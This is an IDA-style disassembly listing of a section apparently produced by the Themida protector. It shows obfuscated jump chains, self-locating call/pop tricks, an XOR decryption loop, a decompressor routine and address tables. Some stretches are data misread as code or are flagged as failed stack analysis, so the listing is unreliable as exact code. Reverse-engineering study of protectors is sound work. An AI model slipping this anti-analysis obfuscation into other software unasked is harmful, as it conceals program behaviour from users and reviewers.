sub_54E1BF endp
; ---------------------------------------------------------------------------
db 0C6h
dd 945D4E1Bh, 8BE46398h, 121C6D9Dh, 71B5FF06h, 6A06121Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 7C32C353h, 30FD95FFh, 8B0F0612h, 19h, 14E9h
dd 0CA744B00h, 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh, 132D0011h
db 0A8h
; ---------------------------------------------------------------------------
loc_54E225: ; CODE XREF: Themida_:0054E1AEj
cmp eax, 0
jnz loc_54E2AC
push 0
push esi
call sub_54E239
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E239 proc near ; CODE XREF: Themida_:0054E231p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_54E239 endp
; ---------------------------------------------------------------------------
db 30h, 75h, 0CFh
dd 83EFB711h, 120379BDh, 840F0006h, 29h, 379B5FFh, 1B80612h
dd 8B000000h, 1211C59Dh, 0B99D8B06h, 0E9061212h, 186h
dd 58F0Fh, 3BBB0000h, 0B2666375h, 71B5FF23h, 6606121Eh
dd 0FFC654BAh, 121E71B5h, 7D950106h, 0FF061200h, 1230FDB5h
dd 57E9F806h, 0BB000001h, 3BC3FD57h
; ---------------------------------------------------------------------------
loc_54E2AC: ; CODE XREF: Themida_:0054E228j
pop edi
sbb bx, 9A96h
cmp dword ptr [ebp+6122341h], 0
jnz loc_54E353
mov [ebp+6122F99h], eax
mov byte ptr [ebp+6122871h], 4Dh
sub bh, 0F1h
push 522B33DBh
mov edx, edi
add dword ptr [esp], 520A42CDh
mov ebx, [ebp+612091Dh]
push dword ptr [ebp+6121D39h]
call near ptr loc_54E2F7+3
mov eax, esp
sub edi, esi
xchg eax, ecx
mov al, 0C1h
cmp al, 42h
loc_54E2F7: ; CODE XREF: Themida_:0054E2E9p
sub eax, 0CE99CCDh
; ---------------------------------------------------------------------------
dd 6F000000h, 0D3301596h, 0C884030Bh, 5AD03165h, 61F86060h
dd 5D858D61h, 6606123Bh, 810FDE8Bh, 6, 7FCFC281h, 0D0FF31D3h
dd 89D3B70Fh, 12234185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0C0BB91B7h
db 0E4h, 0, 51h
; ---------------------------------------------------------------------------
loc_54E353: ; CODE XREF: Themida_:0054E2B9j
mov eax, 0
mov dl, 7Eh
mov [ebp+6124D33h], edi
jmp loc_54E36B
; ---------------------------------------------------------------------------
db 9Dh, 0F5h, 0DBh
db 2Dh, 4Ch, 24h
; ---------------------------------------------------------------------------
loc_54E36B: ; CODE XREF: Themida_:0054E360j
or eax, eax
jz loc_54E383
mov dl, bl
movzx edx, di
jmp loc_54E3FE
; ---------------------------------------------------------------------------
mov edx, [ebp+612041Dh]
loc_54E383: ; CODE XREF: Themida_:0054E36Dj
push dword ptr [ebp+61230FDh]
and dx, 39Dh
mov edx, [ebp+6123471h]
lea eax, [ebp+614A7DFh]
push 0
push eax
call sub_54E3A5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54E3A5 proc near ; CODE XREF: Themida_:0054E39Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_54E3A5 endp
; ---------------------------------------------------------------------------
rol dword ptr [eax], cl
xor dx, 3C36h
nop
mov bx, ax
push eax
push eax
call sub_54E3D4
cmp al, 5Bh
test edi, esi
dec ebx
cmc
mov ecx, 1F6C1A3Ch
and cl, [edx]
; =============== S U B R O U T I N E =======================================
sub_54E3D4 proc near ; CODE XREF: Themida_:0054E3C2p
mov edx, 42B19335h
pop edx
pop ebx
nop
push 0
push esi
call sub_54E3E7
and [esi-3Dh], bl
sub_54E3D4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_54E3E7 proc near ; CODE XREF: sub_54E3D4+Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_54E3E7 endp
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
mov [ebp+6122CB1h], esi
loc_54E3FE: ; CODE XREF: Themida_:0054E378j
push eax
push esi
lea edi, [ebp+612540Ah]
lea ecx, [ebp+61279FDh]
mov eax, 748323BCh
sub ecx, edi
loc_54E413: ; CODE XREF: Themida_:0054E419j
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_54E413
pop esi
pop eax
cmp dword ptr [ebp+6120379h], 0
jz short loc_54E42C
mov ecx, [ebp+6122DD9h]
loc_54E42C: ; CODE XREF: Themida_:0054E424j
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_54E4E3
cmp dword ptr [ebp+6120DB5h], 0
jz short loc_54E44A
call dword ptr [ebp+61210C9h]
loc_54E44A: ; CODE XREF: Themida_:0054E442j
mov eax, 0
or eax, eax
jnz short loc_54E45C
cmp dword ptr [ebp+6124D3Bh], 1
jz short loc_54E465
loc_54E45C: ; CODE XREF: Themida_:0054E451j
cmp dword ptr [ebp+6124D3Bh], 2
jnz short loc_54E473
loc_54E465: ; CODE XREF: Themida_:0054E45Aj
mov esi, [ebp+6124D33h]
lea eax, [ebp+614A7DFh]
call eax
loc_54E473: ; CODE XREF: Themida_:0054E463j
cmp dword ptr [ebp+6121D65h], 0
jz short loc_54E482
call dword ptr [ebp+6121FEDh]
loc_54E482: ; CODE XREF: Themida_:0054E47Aj
lea eax, [ebp+6124350h]
call eax
cmp dword ptr [ebp+6121299h], 2
jnz short loc_54E4C2
mov esp, [ebp+6120469h]
mov eax, [ebp+6120379h]
mov [esp], eax
mov dword ptr [ebp+6121229h], 1
mov esi, [ebp+6124D37h]
mov ebp, [ebp+61228A5h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_54E4C2: ; CODE XREF: Themida_:0054E491j
mov dword ptr [ebp+6121229h], 1
mov esp, [ebp+6120469h]
mov esi, [ebp+6120EF5h]
mov ebp, [ebp+61228A5h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_54E4E3: ; CODE XREF: Themida_:0054E435j
cmp dword ptr [ebp+6121D65h], 0
jz short loc_54E4FB
cmp dword ptr [ebp+6121FEDh], 0
jz short loc_54E4FB
call dword ptr [ebp+6121FEDh]
loc_54E4FB: ; CODE XREF: Themida_:0054E4EAj
; Themida_:0054E4F3j
mov esi, [ebp+6124D33h]
retn
; ---------------------------------------------------------------------------
mov edx, ecx
sbb edx, 977759Dh
mov edx, 0
push ecx
call sub_54E51E
stc
mov byte ptr [ebp+3A88D474h], 74h
pop ebx
; =============== S U B R O U T I N E =======================================
sub_54E51E proc near ; CODE XREF: Themida_:0054E510p
mov dx, di
pop ebx
pop ebx
mov ebx, eax
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_54E535
; ---------------------------------------------------------------------------
loc_54E533: ; CODE XREF: sub_54E51E+1Aj
inc eax
inc edi
loc_54E535: ; CODE XREF: sub_54E51E+13j
cmp byte ptr [edi], 0
jnz short loc_54E533
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_54E564
; ---------------------------------------------------------------------------
loc_54E541: ; CODE XREF: sub_54E51E+48j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_54E559
; ---------------------------------------------------------------------------
loc_54E556: ; CODE XREF: sub_54E51E+3Ej
mul ebx
dec esi
loc_54E559: ; CODE XREF: sub_54E51E+36j
cmp esi, 0
ja short loc_54E556
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_54E564: ; CODE XREF: sub_54E51E+21j
or eax, eax
jnz short loc_54E541
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
sub_54E51E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov bx, 2923h
clc
loc_54E577: ; CODE XREF: Themida_:0054B7A4j
mov eax, ecx
jmp loc_54E72B
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_54E58A: ; CODE XREF: Themida_:loc_54E5A2j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_54E595: ; CODE XREF: Themida_:0054E620j
; Themida_:0054E688j ...
add dl, dl
jnz loc_54E5A2
mov dl, [esi]
inc esi
adc dl, dl
loc_54E5A2: ; CODE XREF: Themida_:0054E597j
jnb loc_54E58A
add dl, dl
jnz loc_54E5B5
mov dl, [esi]
inc esi
adc dl, dl
loc_54E5B5: ; CODE XREF: Themida_:0054E5AAj
jnb loc_54E625
xor eax, eax
add dl, dl
jnz loc_54E5CA
mov dl, [esi]
inc esi
adc dl, dl
loc_54E5CA: ; CODE XREF: Themida_:0054E5BFj
jnb loc_54E6FA
add dl, dl
jnz loc_54E5DD
mov dl, [esi]
inc esi
adc dl, dl
loc_54E5DD: ; CODE XREF: Themida_:0054E5D2j
adc eax, eax
add dl, dl
jnz loc_54E5EC
mov dl, [esi]
inc esi
adc dl, dl
loc_54E5EC: ; CODE XREF: Themida_:0054E5E1j
adc eax, eax
add dl, dl
jnz loc_54E5FB
mov dl, [esi]
inc esi
adc dl, dl
loc_54E5FB: ; CODE XREF: Themida_:0054E5F0j
adc eax, eax
add dl, dl
jnz loc_54E60A
mov dl, [esi]
inc esi
adc dl, dl
loc_54E60A: ; CODE XREF: Themida_:0054E5FFj
adc eax, eax
jz loc_54E618
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_54E618: ; CODE XREF: Themida_:0054E60Cj
mov [edi], al
inc edi
mov ebx, 2
jmp loc_54E595
; ---------------------------------------------------------------------------
loc_54E625: ; CODE XREF: Themida_:loc_54E5B5j
mov eax, 1
loc_54E62A: ; CODE XREF: Themida_:loc_54E646j
add dl, dl
jnz loc_54E637
mov dl, [esi]
inc esi
adc dl, dl
loc_54E637: ; CODE XREF: Themida_:0054E62Cj
adc eax, eax
add dl, dl
jnz loc_54E646
mov dl, [esi]
inc esi
adc dl, dl
loc_54E646: ; CODE XREF: Themida_:0054E63Bj
jb loc_54E62A
sub eax, ebx
mov ebx, 1
jnz loc_54E68D
mov ecx, 1
loc_54E65E: ; CODE XREF: Themida_:loc_54E67Aj
add dl, dl
jnz loc_54E66B
mov dl, [esi]
inc esi
adc dl, dl
loc_54E66B: ; CODE XREF: Themida_:0054E660j
adc ecx, ecx
add dl, dl
jnz loc_54E67A
mov dl, [esi]
inc esi
adc dl, dl
loc_54E67A: ; CODE XREF: Themida_:0054E66Fj
jb loc_54E65E
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_54E595
; ---------------------------------------------------------------------------
loc_54E68D: ; CODE XREF: Themida_:0054E653j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_54E69B: ; CODE XREF: Themida_:loc_54E6B7j
add dl, dl
jnz loc_54E6A8
mov dl, [esi]
inc esi
adc dl, dl
loc_54E6A8: ; CODE XREF: Themida_:0054E69Dj
adc ecx, ecx
add dl, dl
jnz loc_54E6B7
mov dl, [esi]
inc esi
adc dl, dl
loc_54E6B7: ; CODE XREF: Themida_:0054E6ACj
jb loc_54E69B
cmp eax, 7D00h
jnb loc_54E6EA
cmp eax, 500h
jb loc_54E6E1
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_54E595
; ---------------------------------------------------------------------------
loc_54E6E1: ; CODE XREF: Themida_:0054E6CDj
cmp eax, 7Fh
ja loc_54E6ED
loc_54E6EA: ; CODE XREF: Themida_:0054E6C2j
add ecx, 2
loc_54E6ED: ; CODE XREF: Themida_:0054E6E4j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_54E595
; ---------------------------------------------------------------------------
loc_54E6FA: ; CODE XREF: Themida_:loc_54E5CAj
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_54E71F
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_54E595
; ---------------------------------------------------------------------------
loc_54E71F: ; CODE XREF: Themida_:0054E702j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_54E72B: ; CODE XREF: Themida_:0054E579j
mov edx, 929h
jmp loc_5707CB
; ---------------------------------------------------------------------------
align 4
dd 2 dup(5C498D00h), 5C002800h, 12FF6C02h, 5C2E8300h, 5C003F00h
dd 20202h, 200h, 2 dup(100h), 426A1600h, 0FAh, 4 dup(0)
dd 54EE3900h, 55678600h, 55800400h, 55485B00h, 5529E100h
dd 559A2300h, 55042500h, 552BCB00h, 55232600h, 55241900h
dd 55533C00h, 5516DC00h, 551AD400h, 55637100h, 559D6C00h
dd 5550F800h, 559F4100h, 54F55A00h, 55789200h, 559BB700h
dd 54FFB600h, 55066B00h, 557E7A00h, 54EAE600h, 5560B700h
dd 55911900h, 5523E200h, 5546DD00h, 55496800h, 55710100h
dd 5598C900h, 552FE600h, 5505B600h, 54EDA900h, 558DBF00h
dd 55179100h, 55372B00h, 55B02D00h, 55195100h, 55935300h
dd 54EEE800h, 5592CD00h, 55065600h, 55349F00h, 54F2EA00h
dd 5572C500h, 559FFF00h, 5511C300h, 5545F900h, 5577C500h
dd 5575C300h, 55A8CA00h, 554CB200h, 5585BC00h, 5568D600h
dd 55067C00h, 557A7700h, 559D5200h, 55638200h, 552CEF00h
dd 553DCD00h, 54FE0000h, 5506FB00h, 5521BC00h, 55468900h
dd 54F19200h, 558B2200h, 55828D00h, 55011E00h, 55773A00h
dd 55150C00h, 558D6700h, 54FE6F00h, 55A53500h, 5574AE00h
dd 55274600h, 559D4600h, 54F2CA00h, 553F1900h, 558F0300h
dd 5524C300h, 556F0D00h, 5521A500h, 55A0E500h, 552A8600h
dd 54F34B00h, 55B17400h, 55A1A200h, 5571B900h, 55745300h
dd 551C6D00h, 55A8BC00h, 55663700h, 55A1E700h, 556A7900h
dd 551C7800h, 55025500h, 552E1400h, 55B1C100h, 557BA000h
dd 55295B00h, 5571DF00h, 55101900h, 5577F800h, 555B8100h
dd 557ABF00h, 55142400h, 55724500h, 55053300h, 54F53700h
dd 554DF000h, 55850000h, 552D2600h, 5573F000h, 553D3200h
dd 5567E600h, 55A3F800h, 55012C00h, 55ACD100h, 54F47700h
dd 55930D00h, 55696C00h, 55AFEC00h, 554F2200h, 553E1300h
dd 54FA6800h, 551D2400h, 55134600h, 557AF400h, 55635400h
dd 55174C00h, 557F8100h, 5544F500h, 558E7F00h, 5532E500h
dd 552AF100h, 55010900h, 5552D600h, 551B9000h, 55484000h
dd 550EDF00h, 55971700h, 557A3300h, 559E8C00h, 55AEBD00h
dd 55878E00h, 5557F300h, 54EC6A00h, 557B1D00h, 55249600h
dd 556D0700h, 557CBC00h, 557BB200h, 55809200h, 54FC6B00h
dd 54FEE600h, 55871100h, 5505BD00h, 55A68C00h, 55362500h
dd 55496000h, 5526FD00h, 55ADCE00h, 5526D200h, 55292500h
dd 55B1B900h, 54FE5E00h
db 0
; ---------------------------------------------------------------------------
loc_54EA15: ; CODE XREF: Themida_:00570841j
; Themida_:0057084Bj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6128007h
mov eax, edi
add edi, 6127D1Fh
cmp eax, [edi+2Ch]
jnz short loc_54EA33
jmp short loc_54EA46
; ---------------------------------------------------------------------------
loc_54EA33: ; CODE XREF: Themida_:0054EA2Fj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_54EA42
; ---------------------------------------------------------------------------
loc_54EA3D: ; CODE XREF: Themida_:0054EA44j
add [edi+ecx*4+40h], eax
dec ecx
loc_54EA42: ; CODE XREF: Themida_:0054EA3Bj
or ecx, ecx
jnz short loc_54EA3D
loc_54EA46: ; CODE XREF: Themida_:0054EA31j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_54EA53: ; CODE XREF: Themida_:0054EA5Aj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_54EA53
loc_54EA5C: ; CODE XREF: Themida_:0054EC65j
; Themida_:loc_54EE69j ...
lodsb
sub esp, 4
mov [esp], edx
mov dh, 87h
add al, 8Dh
add al, 7Ch
sub al, dh
sub al, 7Ch
sub al, 8Dh
pop edx
sub al, 0ADh
sub al, bl
jmp loc_558580
; ---------------------------------------------------------------------------
loc_54EA79: ; CODE XREF: Themida_:00557A97j
add [ecx], ebp
pop ecx
mov ebp, [esp]
push 6C41h
jmp loc_555D5D
; ---------------------------------------------------------------------------
loc_54EA89: ; CODE XREF: Themida_:00559728j
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_554544
; ---------------------------------------------------------------------------
loc_54EA95: ; CODE XREF: Themida_:0055A491j
mov ecx, 5A661F9Dh
or ecx, 743D7F3Bh
sub ecx, 12F81717h
jmp loc_5535C4
; ---------------------------------------------------------------------------
loc_54EAAB: ; CODE XREF: Themida_:0055A048j
mov edi, 7BFD7BECh
xchg eax, edi
not eax
xchg eax, edi
not edi
and edi, 390B5AC9h
xor edi, 39095ACCh
add ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_55819D
; ---------------------------------------------------------------------------
loc_54EAD2: ; CODE XREF: Themida_:00557EA5j
sub ebx, ecx
pop ecx
pop ecx
xor ebx, [esp]
jmp loc_550E5B
; ---------------------------------------------------------------------------
loc_54EADE: ; CODE XREF: Themida_:0054F656j
push dword ptr [esp]
jmp loc_552D90
; ---------------------------------------------------------------------------
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_556E05
; ---------------------------------------------------------------------------
loc_54EB00: ; CODE XREF: Themida_:00552484j
add bl, ah
pop eax
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
fcomp dword ptr [ebx+5Ah]
add al, 0E9h
sub al, cl
jmp loc_553E69
; ---------------------------------------------------------------------------
loc_54EB10: ; CODE XREF: Themida_:00550C54j
sub esi, 54551A07h
add esi, eax
add esi, 54551A07h
add esi, 6DF33771h
jmp loc_55307E
; ---------------------------------------------------------------------------
loc_54EB29: ; CODE XREF: Themida_:00553033j
push esp
pop edi
push ebx
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_55169B
; ---------------------------------------------------------------------------
loc_54EB39: ; CODE XREF: Themida_:00559E2Aj
pop ecx
pop ecx
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], eax
mov al, 0Eh
add al, 49h
xor al, bh
xor bh, al
xor al, bh
neg bh
xchg bh, al
shr al, 5
or al, 81h
push eax
sub byte ptr [esp], 0FFh
jmp loc_5533D4
; ---------------------------------------------------------------------------
loc_54EB67: ; CODE XREF: Themida_:005542B4j
push ecx
mov ecx, 21A6153Fh
neg ecx
xor ecx, 2E705900h
jmp loc_5546A0
; ---------------------------------------------------------------------------
loc_54EB7A: ; CODE XREF: Themida_:00557F3Ej
pop edx
mov ebx, [esp]
jmp loc_555DA0
; ---------------------------------------------------------------------------
loc_54EB83: ; CODE XREF: Themida_:00552F47j
add ebx, 4
push edi
mov edi, 4
add ebx, edi
pop edi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edx
push esp
mov edx, [esp]
add esp, 4
jmp loc_55922D
; ---------------------------------------------------------------------------
loc_54EBBA: ; CODE XREF: Themida_:00557FB2j
push dword ptr [esp+4]
jmp loc_557EBD
; ---------------------------------------------------------------------------
loc_54EBC3: ; CODE XREF: Themida_:005593D0j
mov [esp], ecx
mov ecx, 41E9914h
add edi, 28132ED0h
jmp loc_55A148
; ---------------------------------------------------------------------------
loc_54EBD6: ; CODE XREF: Themida_:00554B15j
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_54F4B4
; ---------------------------------------------------------------------------
loc_54EBE3: ; CODE XREF: Themida_:00558C05j
pop eax
sub al, 0BCh
add al, cl
push ecx
jmp loc_550001
; ---------------------------------------------------------------------------
loc_54EBEE: ; CODE XREF: Themida_:0055A7C4j
pop esp
sub ecx, edi
mov edi, [esp]
add esp, 4
push edx
mov edx, 2C97079Eh
sub ecx, edx
pop edx
xchg ebx, ecx
dec ebx
jmp loc_554F3D
; ---------------------------------------------------------------------------
loc_54EC08: ; CODE XREF: Themida_:0055AC7Bj
mov edi, 37F556CAh
jmp loc_55635D
; ---------------------------------------------------------------------------
loc_54EC12: ; CODE XREF: Themida_:0055545Dj
push ecx
jmp loc_55827B
; ---------------------------------------------------------------------------
loc_54EC18: ; CODE XREF: Themida_:00551B14j
mov ax, [esp]
push 39BAh
mov [esp], edi
push esp
mov edi, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_559B98
; ---------------------------------------------------------------------------
loc_54EC42: ; CODE XREF: Themida_:00558F58j
add ebp, ebx
jmp loc_55AFB5
; ---------------------------------------------------------------------------
loc_54EC49: ; CODE XREF: Themida_:00559AAEj
dec al
inc al
sub al, 0ACh
sub al, 0F3h
sub bl, al
pop eax
add bl, 63h
push ecx
push edx
mov edx, 10B21218h
inc edx
jmp loc_557FEF
; ---------------------------------------------------------------------------
loc_54EC64: ; CODE XREF: Themida_:00553EF8j
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], esp
push eax
jmp loc_555767
; ---------------------------------------------------------------------------
loc_54EC83: ; CODE XREF: Themida_:00551041j
mov esi, 4
add ecx, esi
jmp loc_54FE44
; ---------------------------------------------------------------------------
loc_54EC8F: ; CODE XREF: Themida_:00550E69j
push ebx
jmp loc_552AC9
; ---------------------------------------------------------------------------
loc_54EC95: ; CODE XREF: Themida_:00551E3Dj
mov eax, [esp]
add esp, 4
jmp loc_54F0CD
; ---------------------------------------------------------------------------
loc_54ECA3: ; CODE XREF: Themida_:00553B96j
sub eax, 6FD57C29h
sub eax, edi
add eax, 6FD57C29h
jmp loc_550291
; ---------------------------------------------------------------------------
loc_54ECB4: ; CODE XREF: Themida_:005549B1j
inc dl
jmp loc_5507AA
; ---------------------------------------------------------------------------
loc_54ECBB: ; CODE XREF: Themida_:00556DC8j
mov ebx, 11095B11h
jmp loc_5587FA
; ---------------------------------------------------------------------------
loc_54ECC5: ; CODE XREF: Themida_:00558B3Ej
mov edx, 2242131Eh
and edi, edx
jmp loc_54EFB0
; ---------------------------------------------------------------------------
loc_54ECD1: ; CODE XREF: Themida_:0055A511j
pop edx
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_552F11
; ---------------------------------------------------------------------------
loc_54ECE1: ; CODE XREF: Themida_:005567C2j
add edi, 40689B1Bh
jmp loc_5507CB
; ---------------------------------------------------------------------------
loc_54ECEC: ; CODE XREF: Themida_:005531B8j
shl edx, 1
sub esp, 4
jmp loc_559F01
; ---------------------------------------------------------------------------
loc_54ECF6: ; CODE XREF: Themida_:00550FB4j
pop ebp
add esp, 4
jmp loc_55315D
; ---------------------------------------------------------------------------
loc_54ECFF: ; CODE XREF: Themida_:005532A4j
mov ebp, 2A35CEECh
sub ebp, edx
pop edx
sub edi, ebp
pop ebp
add eax, edi
jmp loc_557EEE
; ---------------------------------------------------------------------------
loc_54ED11: ; CODE XREF: Themida_:005519A0j
pop eax
inc eax
shr eax, 3
xor eax, 64F02EBh
push eax
jmp loc_5589BB
; ---------------------------------------------------------------------------
loc_54ED21: ; CODE XREF: Themida_:00556C08j
neg dh
jmp loc_55859A
; ---------------------------------------------------------------------------
loc_54ED28: ; CODE XREF: Themida_:005587EAj
push eax
mov eax, 68764DD6h
or eax, 6DCD58F6h
xor eax, 0E3C1FABh
sub eax, 7E60C665h
jmp loc_54FC3A
; ---------------------------------------------------------------------------
loc_54ED42: ; CODE XREF: Themida_:00558CC3j
pop edx
mov eax, [esp]
add esp, 4
jmp loc_55AF54
; ---------------------------------------------------------------------------
loc_54ED4E: ; CODE XREF: Themida_:005546CDj
xor ebp, 433A57D4h
inc ebp
jmp loc_5509B8
; ---------------------------------------------------------------------------
loc_54ED5A: ; CODE XREF: Themida_:00556E35j
pop edx
sub ch, al
pop eax
jmp loc_556A65
; ---------------------------------------------------------------------------
loc_54ED63: ; CODE XREF: Themida_:00551EE1j
xor edx, 68DA7C41h
sub edx, 0FFFFFFFFh
add edx, 3A2A3615h
sub edx, 6FBF24B7h
jmp loc_553A1F
; ---------------------------------------------------------------------------
loc_54ED80: ; CODE XREF: Themida_:0055A581j
xor ebx, eax
mov eax, [esp]
push eax
mov eax, esp
jmp loc_554B10
; ---------------------------------------------------------------------------
loc_54ED8D: ; CODE XREF: Themida_:00552776j
sub esi, eax
jmp loc_55458F
; ---------------------------------------------------------------------------
loc_54ED94: ; CODE XREF: Themida_:005536BDj
push esp
jmp loc_552D5C
; ---------------------------------------------------------------------------
loc_54ED9A: ; CODE XREF: Themida_:0054FA74j
mov dh, 73h
not dh
sub dh, 0FFh
sub dh, 0A2h
jmp loc_5500BD
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
mov eax, esp
jmp loc_5559F3
; ---------------------------------------------------------------------------
loc_54EDBD: ; CODE XREF: Themida_:00559518j
push dword ptr [edx]
mov eax, [esp]
add esp, 4
mov edx, [esp]
jmp loc_55710E
; ---------------------------------------------------------------------------
loc_54EDCD: ; CODE XREF: Themida_:0055294Bj
mov [esp], eax
mov eax, esp
add eax, 4
push edx
push ebx
jmp loc_55375E
; ---------------------------------------------------------------------------
loc_54EDDE: ; CODE XREF: Themida_:00555AB3j
sub edi, edx
pop edx
xor edi, 7DEDA192h
jmp loc_559E67
; ---------------------------------------------------------------------------
loc_54EDEC: ; CODE XREF: Themida_:00557372j
mov eax, esp
push edx
jmp loc_55790A
; ---------------------------------------------------------------------------
loc_54EDF4: ; CODE XREF: Themida_:0055A675j
xchg esi, [esp]
pop esp
add ebx, 2C391F62h
sub ebx, 402A2837h
jmp loc_54F8EC
; ---------------------------------------------------------------------------
loc_54EE09: ; CODE XREF: Themida_:00554A92j
add dword ptr [esp+4], 47B93A20h
add dword ptr [esp+4], 3DC9698Bh
add dword ptr [esp+4], 38EB6BE5h
sub [esp+4], eax
push ebx
mov ebx, 38EB6BE5h
sub [esp+8], ebx
jmp loc_5599EA
; ---------------------------------------------------------------------------
loc_54EE34: ; CODE XREF: Themida_:005537D7j
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_554ECD
; ---------------------------------------------------------------------------
loc_54EE41: ; CODE XREF: Themida_:005590C3j
xor [esp], edi
xor edi, [esp]
jmp loc_55AE47
; ---------------------------------------------------------------------------
loc_54EE4C: ; CODE XREF: Themida_:005584C6j
pop esi
and ebx, 6827073Ah
shl ebx, 5
sub ebx, 43D40542h
push ecx
jmp loc_55A945
; ---------------------------------------------------------------------------
loc_54EE62: ; CODE XREF: Themida_:0055287Ej
xor edx, ebx
jmp loc_5519F6
; ---------------------------------------------------------------------------
loc_54EE69: ; CODE XREF: Themida_:00550EE9j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54EE6E: ; CODE XREF: Themida_:005585F3j
sub ecx, 142C4533h
dec ecx
or ecx, 67CD3ADBh
not ecx
xor ecx, 9000C520h
jmp loc_552139
; ---------------------------------------------------------------------------
loc_54EE88: ; CODE XREF: Themida_:00554321j
mov [esp], esi
mov esi, 2
add edx, esi
mov esi, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_550374
; ---------------------------------------------------------------------------
loc_54EEA6: ; CODE XREF: Themida_:00554963j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54EEAB: ; CODE XREF: Themida_:00557596j
push ebp
push edi
jmp loc_55277B
; ---------------------------------------------------------------------------
loc_54EEB2: ; CODE XREF: Themida_:005584D3j
pop eax
add eax, 33544A89h
jmp loc_5566FB
; ---------------------------------------------------------------------------
loc_54EEBD: ; CODE XREF: Themida_:00556800j
mov edi, ecx
pop ecx
jmp loc_558418
; ---------------------------------------------------------------------------
loc_54EEC5: ; CODE XREF: Themida_:00558C8Fj
sub ecx, 0C1C2ABEh
add ecx, edx
push ebx
mov ebx, 0C1C2ABEh
jmp loc_553F3E
; ---------------------------------------------------------------------------
loc_54EED8: ; CODE XREF: Themida_:00552920j
add ebp, ecx
pop ecx
push edi
jmp loc_553984
; ---------------------------------------------------------------------------
loc_54EEE1: ; CODE XREF: Themida_:00558FC8j
mov ebx, esp
jmp loc_5576A5
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4841h
mov [esp], ebx
push esp
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
add ebx, 4
sub esp, 4
mov [esp], esi
mov esi, 2
sub ebx, 0C7F47E2h
add ebx, esi
add ebx, 0C7F47E2h
pop esi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_556B77
; ---------------------------------------------------------------------------
loc_54EF3B: ; CODE XREF: Themida_:00554EA8j
sub edx, 1
push 35Ch
mov [esp], ebx
push ecx
mov ecx, 165115CCh
mov ebx, ecx
pop ecx
xor edx, ebx
pop ebx
jmp loc_55A0F6
; ---------------------------------------------------------------------------
loc_54EF5A: ; CODE XREF: Themida_:0054FC66j
push esp
pop eax
push 0EC1h
mov [esp], edi
push 0BD16F06h
pop edi
push 0
